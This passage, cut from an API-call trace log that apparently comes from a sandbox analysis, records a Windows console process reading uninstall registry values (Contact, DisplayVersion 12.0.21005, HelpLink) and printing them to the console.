dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.229] GetConsoleOutputCP () returned 0x1b5 [0151.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.229] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.229] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.229] __iob_func () returned 0x7fefd702a80 [0151.229] _fileno (_File=0x7fefd702ab0) returned 1 [0151.229] _errno () returned 0x204bb0 [0151.229] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.229] _errno () returned 0x204bb0 [0151.229] GetFileType (hFile=0x50) returned 0x1 [0151.229] lstrlenW (lpString=" ") returned 4 [0151.229] GetConsoleOutputCP () returned 0x1b5 [0151.229] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.229] GetConsoleOutputCP () returned 0x1b5 [0151.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.230] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.230] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.230] __iob_func () returned 0x7fefd702a80 [0151.230] _fileno (_File=0x7fefd702ab0) returned 1 [0151.230] _errno () returned 0x204bb0 [0151.230] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.230] _errno () returned 0x204bb0 [0151.230] GetFileType (hFile=0x50) returned 0x1 [0151.230] lstrlenW (lpString="Caution. Removing this product might prevent some applications from running.") returned 76 [0151.230] GetConsoleOutputCP () returned 0x1b5 [0151.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0151.230] GetConsoleOutputCP () returned 0x1b5 [0151.230] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Caution. Removing this product might prevent some applications from running.", cchWideChar=76, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Caution. Removing this product might prevent some applications from running.", lpUsedDefaultChar=0x0) returned 76 [0151.230] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 76 [0151.230] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.230] __iob_func () returned 0x7fefd702a80 [0151.230] _fileno (_File=0x7fefd702ab0) returned 1 [0151.230] _errno () returned 0x204bb0 [0151.230] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.230] _errno () returned 0x204bb0 [0151.230] GetFileType (hFile=0x50) returned 0x1 [0151.230] lstrlenW (lpString="\n") returned 1 [0151.230] GetConsoleOutputCP () returned 0x1b5 [0151.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.231] GetConsoleOutputCP () returned 0x1b5 [0151.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.231] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.231] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.231] GetProcessHeap () returned 0x3c0000 [0151.231] GetProcessHeap () returned 0x3c0000 [0151.231] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0151.231] GetProcessHeap () returned 0x3c0000 [0151.231] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0x9e [0151.231] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0151.231] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Contact", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.231] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.231] GetProcessHeap () returned 0x3c0000 [0151.231] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.231] GetProcessHeap () returned 0x3c0000 [0151.231] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.231] GetProcessHeap () returned 0x3c0000 [0151.231] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.231] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Contact", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0151.231] __iob_func () returned 0x7fefd702a80 [0151.231] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.231] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.231] _fileno (_File=0x7fefd702ab0) returned 1 [0151.231] _errno () returned 0x204bb0 [0151.231] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.231] _errno () returned 0x204bb0 [0151.231] GetFileType (hFile=0x50) returned 0x1 [0151.231] lstrlenW (lpString=" ") returned 4 [0151.231] GetConsoleOutputCP () returned 0x1b5 [0151.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.232] GetConsoleOutputCP () returned 0x1b5 [0151.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.232] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.232] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.232] lstrlenW (lpString="Contact") returned 7 [0151.232] __iob_func () returned 0x7fefd702a80 [0151.232] _fileno (_File=0x7fefd702ab0) returned 1 [0151.232] _errno () returned 0x204bb0 [0151.232] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.232] _errno () returned 0x204bb0 [0151.232] GetFileType (hFile=0x50) returned 0x1 [0151.232] lstrlenW (lpString="Contact") returned 7 [0151.232] GetConsoleOutputCP () returned 0x1b5 [0151.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0151.232] GetConsoleOutputCP () returned 0x1b5 [0151.232] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Contact", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Contact", lpUsedDefaultChar=0x0) returned 7 [0151.232] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0151.232] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.232] __iob_func () returned 0x7fefd702a80 [0151.232] _fileno (_File=0x7fefd702ab0) returned 1 [0151.232] _errno () returned 0x204bb0 [0151.232] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.232] _errno () returned 0x204bb0 [0151.233] GetFileType (hFile=0x50) returned 0x1 [0151.233] lstrlenW (lpString=" ") returned 4 [0151.233] GetConsoleOutputCP () returned 0x1b5 [0151.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.233] GetConsoleOutputCP () returned 0x1b5 [0151.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.233] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.233] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.233] __iob_func () returned 0x7fefd702a80 [0151.233] _fileno (_File=0x7fefd702ab0) returned 1 [0151.233] _errno () returned 0x204bb0 [0151.233] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.233] _errno () returned 0x204bb0 [0151.233] GetFileType (hFile=0x50) returned 0x1 [0151.233] lstrlenW (lpString="REG_SZ") returned 6 [0151.233] GetConsoleOutputCP () returned 0x1b5 [0151.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.233] GetConsoleOutputCP () returned 0x1b5 [0151.233] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.233] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.233] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.234] __iob_func () returned 0x7fefd702a80 [0151.234] _fileno (_File=0x7fefd702ab0) returned 1 [0151.234] _errno () returned 0x204bb0 [0151.234] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.234] _errno () returned 0x204bb0 [0151.234] GetFileType (hFile=0x50) returned 0x1 [0151.234] lstrlenW (lpString=" ") returned 4 [0151.234] GetConsoleOutputCP () returned 0x1b5 [0151.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.234] GetConsoleOutputCP () returned 0x1b5 [0151.234] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.234] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.234] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.234] __iob_func () returned 0x7fefd702a80 [0151.234] _fileno (_File=0x7fefd702ab0) returned 1 [0151.234] _errno () returned 0x204bb0 [0151.234] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.234] _errno () returned 0x204bb0 [0151.234] GetFileType (hFile=0x50) returned 0x1 [0151.234] lstrlenW (lpString="") returned 0 [0151.234] __iob_func () returned 0x7fefd702a80 [0151.234] _fileno (_File=0x7fefd702ab0) returned 1 [0151.234] _errno () returned 0x204bb0 [0151.234] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.234] _errno () returned 0x204bb0 [0151.234] GetFileType (hFile=0x50) returned 0x1 [0151.234] lstrlenW (lpString="\n") returned 1 [0151.235] GetConsoleOutputCP () returned 0x1b5 [0151.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.235] GetConsoleOutputCP () returned 0x1b5 [0151.235] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.235] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.235] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.235] GetProcessHeap () returned 0x3c0000 [0151.235] GetProcessHeap () returned 0x3c0000 [0151.235] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.235] GetProcessHeap () returned 0x3c0000 [0151.235] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.235] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.235] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.235] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x18) returned 0x0 [0151.235] GetProcessHeap () returned 0x3c0000 [0151.235] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1a) returned 0x3d5c60 [0151.235] GetProcessHeap () returned 0x3c0000 [0151.235] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0151.235] GetProcessHeap () returned 0x3c0000 [0151.235] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1a [0151.235] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x18 | out: pdwType=0x29f700*=0x1, pvData="12.0.21005", pcbData=0x29f780*=0x16) returned 0x0 [0151.235] __iob_func () returned 0x7fefd702a80 [0151.235] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.235] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.235] _fileno (_File=0x7fefd702ab0) returned 1 [0151.235] _errno () returned 0x204bb0 [0151.235] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.235] _errno () returned 0x204bb0 [0151.236] GetFileType (hFile=0x50) returned 0x1 [0151.236] lstrlenW (lpString=" ") returned 4 [0151.236] GetConsoleOutputCP () returned 0x1b5 [0151.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.236] GetConsoleOutputCP () returned 0x1b5 [0151.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.236] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.236] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.236] lstrlenW (lpString="DisplayVersion") returned 14 [0151.236] __iob_func () returned 0x7fefd702a80 [0151.236] _fileno (_File=0x7fefd702ab0) returned 1 [0151.236] _errno () returned 0x204bb0 [0151.236] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.236] _errno () returned 0x204bb0 [0151.236] GetFileType (hFile=0x50) returned 0x1 [0151.236] lstrlenW (lpString="DisplayVersion") returned 14 [0151.236] GetConsoleOutputCP () returned 0x1b5 [0151.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0151.236] GetConsoleOutputCP () returned 0x1b5 [0151.236] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayVersion", cchWideChar=14, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayVersion", lpUsedDefaultChar=0x0) returned 14 [0151.236] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 14 [0151.236] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.237] __iob_func () returned 0x7fefd702a80 [0151.237] _fileno (_File=0x7fefd702ab0) returned 1 [0151.237] _errno () returned 0x204bb0 [0151.237] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.237] _errno () returned 0x204bb0 [0151.237] GetFileType (hFile=0x50) returned 0x1 [0151.237] lstrlenW (lpString=" ") returned 4 [0151.237] GetConsoleOutputCP () returned 0x1b5 [0151.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.237] GetConsoleOutputCP () returned 0x1b5 [0151.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.237] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.237] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.237] __iob_func () returned 0x7fefd702a80 [0151.237] _fileno (_File=0x7fefd702ab0) returned 1 [0151.237] _errno () returned 0x204bb0 [0151.237] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.237] _errno () returned 0x204bb0 [0151.237] GetFileType (hFile=0x50) returned 0x1 [0151.237] lstrlenW (lpString="REG_SZ") returned 6 [0151.237] GetConsoleOutputCP () returned 0x1b5 [0151.237] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0151.238] GetConsoleOutputCP () returned 0x1b5 [0151.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0151.238] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0151.238] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.238] __iob_func () returned 0x7fefd702a80 [0151.238] _fileno (_File=0x7fefd702ab0) returned 1 [0151.238] _errno () returned 0x204bb0 [0151.238] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.238] _errno () returned 0x204bb0 [0151.238] GetFileType (hFile=0x50) returned 0x1 [0151.238] lstrlenW (lpString=" ") returned 4 [0151.238] GetConsoleOutputCP () returned 0x1b5 [0151.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.238] GetConsoleOutputCP () returned 0x1b5 [0151.238] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.238] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.238] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.238] __iob_func () returned 0x7fefd702a80 [0151.238] _fileno (_File=0x7fefd702ab0) returned 1 [0151.238] _errno () returned 0x204bb0 [0151.238] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.238] _errno () returned 0x204bb0 [0151.238] GetFileType (hFile=0x50) returned 0x1 [0151.238] lstrlenW (lpString="12.0.21005") returned 10 [0151.239] GetConsoleOutputCP () returned 0x1b5 [0151.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.21005", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0151.239] GetConsoleOutputCP () returned 0x1b5 [0151.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="12.0.21005", cchWideChar=10, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="12.0.21005", lpUsedDefaultChar=0x0) returned 10 [0151.239] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0151.239] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.239] __iob_func () returned 0x7fefd702a80 [0151.239] _fileno (_File=0x7fefd702ab0) returned 1 [0151.239] _errno () returned 0x204bb0 [0151.239] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.239] _errno () returned 0x204bb0 [0151.239] GetFileType (hFile=0x50) returned 0x1 [0151.239] lstrlenW (lpString="\n") returned 1 [0151.239] GetConsoleOutputCP () returned 0x1b5 [0151.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.239] GetConsoleOutputCP () returned 0x1b5 [0151.239] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.239] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.239] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.239] GetProcessHeap () returned 0x3c0000 [0151.239] GetProcessHeap () returned 0x3c0000 [0151.239] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0151.239] GetProcessHeap () returned 0x3c0000 [0151.240] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1a [0151.240] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0151.240] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="HelpLink", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.240] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x5c) returned 0x0 [0151.240] GetProcessHeap () returned 0x3c0000 [0151.240] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x5e) returned 0x3db830 [0151.240] GetProcessHeap () returned 0x3c0000 [0151.240] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db830) returned 1 [0151.240] GetProcessHeap () returned 0x3c0000 [0151.240] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db830) returned 0x5e [0151.240] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="HelpLink", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3db830, pcbData=0x29f780*=0x5c | out: pdwType=0x29f700*=0x2, pvData="http://go.microsoft.com/fwlink/?LinkId=133405", pcbData=0x29f780*=0x5c) returned 0x0 [0151.240] __iob_func () returned 0x7fefd702a80 [0151.240] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.240] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.240] _fileno (_File=0x7fefd702ab0) returned 1 [0151.240] _errno () returned 0x204bb0 [0151.240] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.240] _errno () returned 0x204bb0 [0151.240] GetFileType (hFile=0x50) returned 0x1 [0151.240] lstrlenW (lpString=" ") returned 4 [0151.240] GetConsoleOutputCP () returned 0x1b5 [0151.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.240] GetConsoleOutputCP () returned 0x1b5 [0151.240] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.240] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.240] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.241] lstrlenW (lpString="HelpLink") returned 